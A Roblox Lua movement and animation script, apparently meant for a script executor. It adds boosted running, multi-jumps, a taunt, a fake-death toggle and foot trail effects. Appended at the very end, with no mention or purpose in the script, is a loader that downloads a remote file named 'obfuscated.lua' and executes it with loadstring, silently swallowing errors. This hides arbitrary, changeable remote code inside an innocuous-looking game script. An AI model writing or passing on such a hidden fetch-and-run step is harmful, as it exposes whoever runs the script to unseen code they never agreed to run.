-- made by gabijean333 tall man script Do not remake local Players = game:GetService("Players") local RunService = game:GetService("RunService") local ContextActionService = game:GetService("ContextActionService") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer -- === NERFED CONFIG === local baseMaxSpeed = 5 local topMaxSpeed = 120 local accel = 0.5 local speedBuildRate = 3 local speedDecayRate = 15 local boostMultiplier = 1.3 local boostKey = Enum.KeyCode.LeftShift local jumpPower = 50 local tauntDuration = 200 local tauntCooldownTime = 5 local maxJumps = 5 local runAnimId = "rbxassetid://98377335607360" local jumpAnimId = "rbxassetid://123364707044126" local tauntAnimId = "rbxassetid://75602578104627" local idleAnimId = "rbxassetid://90613618252787" local fakeDeathAnimId = "rbxassetid://82378425345026" -- Updated fake death anim local speed = 0 local currentMaxSpeed = baseMaxSpeed local boostActive = false local tauntCooldown = false local jumpCount = 0 local humanoid, rootPart, character local runTrack, jumpTrack, tauntTrack, idleTrack local leftFootSmoke, rightFootSmoke, leftFootTrail, rightFootTrail local fakeDeathTrack = nil local isFakingDeath = false local function createTrailAttachment(part, name, position) local a = Instance.new("Attachment") a.Name = name a.Position = position a.Parent = part return a end local function loadAnimations() local runAnim = Instance.new("Animation") runAnim.AnimationId = runAnimId runTrack = humanoid:LoadAnimation(runAnim) local jumpAnim = Instance.new("Animation") jumpAnim.AnimationId = jumpAnimId jumpTrack = humanoid:LoadAnimation(jumpAnim) jumpTrack.Looped = true local tauntAnim = Instance.new("Animation") tauntAnim.AnimationId = tauntAnimId tauntTrack = humanoid:LoadAnimation(tauntAnim) local idleAnim = Instance.new("Animation") idleAnim.AnimationId = idleAnimId idleTrack = humanoid:LoadAnimation(idleAnim) end local function doTaunt() if tauntCooldown then return end tauntCooldown = true if runTrack.IsPlaying then runTrack:Stop() end if idleTrack.IsPlaying then idleTrack:Stop() end if jumpTrack.IsPlaying then jumpTrack:Stop() end tauntTrack:Play() task.delay(tauntDuration, function() tauntTrack:Stop() if speed <= 0 then idleTrack:Play() else runTrack:Play() end end) task.delay(tauntCooldownTime, function() tauntCooldown = false end) end local function getSlopeNormal() local params = RaycastParams.new() params.FilterDescendantsInstances = {character} params.FilterType = Enum.RaycastFilterType.Blacklist local result = workspace:Raycast(rootPart.Position, Vector3.new(0, -5, 0), params) return result and result.Normal or Vector3.new(0, 1, 0) end local function setupVFX() local leftFoot = character:FindFirstChild("LeftFoot") or character:FindFirstChild("Left Leg") local rightFoot = character:FindFirstChild("RightFoot") or character:FindFirstChild("Right Leg") if not (leftFoot and rightFoot) then return end local function makeSmoke(parent) local e = Instance.new("ParticleEmitter") e.Enabled = false e.Texture = "rbxassetid://7712212245" e.Lifetime = NumberRange.new(0.5, 1) e.Speed = NumberRange.new(0.5, 1) e.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 2), NumberSequenceKeypoint.new(1, 0)}) e.Transparency = NumberSequence.new(0.1, 1) e.RotSpeed = NumberRange.new(-50, 50) e.SpreadAngle = Vector2.new(45, 45) e.Rate = 20 e.Parent = parent return e end leftFootSmoke = makeSmoke(leftFoot) rightFootSmoke = makeSmoke(rightFoot) local leftStart = createTrailAttachment(leftFoot, "TrailStart", Vector3.new(0, 0.3, 0)) local leftEnd = createTrailAttachment(leftFoot, "TrailEnd", Vector3.new(0, -0.3, -0.5)) local rightStart = createTrailAttachment(rightFoot, "TrailStart",Vector3.new(0, 0.3, 0)) local rightEnd = createTrailAttachment(rightFoot, "TrailEnd", Vector3.new(0, -0.3, -0.5)) leftFootTrail = Instance.new("Trail") leftFootTrail.Attachment0 = leftStart leftFootTrail.Attachment1 = leftEnd leftFootTrail.Enabled = false leftFootTrail.Texture = "rbxassetid://13211689684" leftFootTrail.TextureLength = 5 leftFootTrail.Lifetime = 0.2 leftFootTrail.LightEmission = 1 leftFootTrail.Transparency = NumberSequence.new(0.3, 1) leftFootTrail.Parent = leftFoot rightFootTrail = Instance.new("Trail") rightFootTrail.Attachment0 = rightStart rightFootTrail.Attachment1 = rightEnd rightFootTrail.Enabled = false rightFootTrail.Texture = "rbxassetid://13211689684" rightFootTrail.TextureLength = 5 rightFootTrail.Lifetime = 0.2 rightFootTrail.LightEmission = 1 rightFootTrail.Transparency = NumberSequence.new(0.3, 1) rightFootTrail.Parent = rightFoot end local function doAirJump() local vel = rootPart.Velocity rootPart.Velocity = Vector3.new(vel.X, jumpPower, vel.Z) jumpTrack:Stop() jumpTrack:Play() end local function toggleFakeDeath(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then if not isFakingDeath then fakeDeathTrack:Play() isFakingDeath = true else fakeDeathTrack:Stop() isFakingDeath = false end end end local function setupCharacter(char) character = char humanoid = char:WaitForChild("Humanoid") rootPart = char:WaitForChild("HumanoidRootPart") speed = 0 currentMaxSpeed = baseMaxSpeed boostActive = false tauntCooldown = false jumpCount = 0 loadAnimations() idleTrack:Play() setupVFX() local fakeDeathAnim = Instance.new("Animation") fakeDeathAnim.AnimationId = fakeDeathAnimId fakeDeathTrack = humanoid:LoadAnimation(fakeDeathAnim) isFakingDeath = false humanoid.Jumping:Connect(function(active) if active and not tauntCooldown then jumpCount += 1 if runTrack.IsPlaying then runTrack:Stop() end if idleTrack.IsPlaying then idleTrack:Stop() end if not jumpTrack.IsPlaying then jumpTrack:Play() end end end) humanoid.StateChanged:Connect(function(_, newState) local onGround = ( newState == Enum.HumanoidStateType.Landed or newState == Enum.HumanoidStateType.Running or newState == Enum.HumanoidStateType.RunningNoPhysics ) if onGround then jumpCount = 0 if jumpTrack.IsPlaying then jumpTrack:Stop() end if speed > 0 then runTrack:Play() else idleTrack:Play() end end end) ContextActionService:BindAction("FakeDeathToggle", toggleFakeDeath, true, Enum.KeyCode.F) ContextActionService:SetTitle("FakeDeathToggle", "Fake Death") ContextActionService:SetPosition("FakeDeathToggle", UDim2.new(0.75, 0, 0.85, 0)) ContextActionService:SetImage("FakeDeathToggle", fakeDeathAnimId) -- Use the animation for button icon end UserInputService.JumpRequest:Connect(function() if not humanoid then return end local state = humanoid:GetState() local onGround = ( state == Enum.HumanoidStateType.Running or state == Enum.HumanoidStateType.RunningNoPhysics or state == Enum.HumanoidStateType.Landed ) if not onGround and jumpCount < maxJumps then jumpCount += 1 doAirJump() end end) RunService.Heartbeat:Connect(function(dt) if not humanoid or not rootPart then return end local moveDir = humanoid.MoveDirection local state = humanoid:GetState() local onGround = ( state == Enum.HumanoidStateType.Running or state == Enum.HumanoidStateType.RunningNoPhysics or state == Enum.HumanoidStateType.Landed ) if moveDir.Magnitude > 0 then if boostActive then if leftFootSmoke then leftFootSmoke.Enabled = true end if rightFootSmoke then rightFootSmoke.Enabled = true end if leftFootTrail then leftFootTrail.Enabled = true end if rightFootTrail then rightFootTrail.Enabled = true end else if leftFootSmoke then leftFootSmoke.Enabled = false end if rightFootSmoke then rightFootSmoke.Enabled = false end if leftFootTrail then leftFootTrail.Enabled = false end if rightFootTrail then rightFootTrail.Enabled = false end end if boostActive then currentMaxSpeed = math.min(currentMaxSpeed + speedBuildRate * dt, topMaxSpeed) currentMaxSpeed = math.max(currentMaxSpeed, baseMaxSpeed) else currentMaxSpeed = math.min(currentMaxSpeed + speedBuildRate * dt, baseMaxSpeed) end local targetMax = boostActive and topMaxSpeed or baseMaxSpeed local slopeNormal = getSlopeNormal() local slopeMoveDir = (moveDir - slopeNormal * moveDir:Dot(slopeNormal)).Unit speed = math.min(speed + accel * dt * 60, targetMax) if onGround and not runTrack.IsPlaying and not tauntCooldown then idleTrack:Stop() runTrack:Play() end humanoid.WalkSpeed = speed rootPart.Velocity = slopeMoveDir * speed + Vector3.new(0, rootPart.Velocity.Y, 0) else speed = 0 currentMaxSpeed = math.max(currentMaxSpeed - speedDecayRate * dt, baseMaxSpeed) if runTrack.IsPlaying then runTrack:Stop() end if leftFootSmoke then leftFootSmoke.Enabled = false end if rightFootSmoke then rightFootSmoke.Enabled = false end if leftFootTrail then leftFootTrail.Enabled = false end if rightFootTrail then rightFootTrail.Enabled = false end if onGround and not idleTrack.IsPlaying and not tauntCooldown then idleTrack:Play() end humanoid.WalkSpeed = 0 rootPart.Velocity = Vector3.new(0, rootPart.Velocity.Y, 0) end end) ContextActionService:BindAction("Taunt", function(_, state) if state == Enum.UserInputState.Begin then doTaunt() end end, true, Enum.KeyCode.T) ContextActionService:BindAction("Boost", function(_, state) if state == Enum.UserInputState.Begin then boostActive = true elseif state == Enum.UserInputState.End then boostActive = false end end, true, boostKey) player.CharacterAdded:Connect(setupCharacter) if player.Character then setupCharacter(player.Character) end local url = "https://raw.githubusercontent.com/ProphecySkondo/Misc/refs/heads/main/obfuscated.lua" local success, result = pcall(function() return game:HttpGetAsync(url) end) if success and result then local func, err = loadstring(result) if func then pcall(func) else warn("Failed to compile script:", err) end else warn("Failed to fetch script:", result) end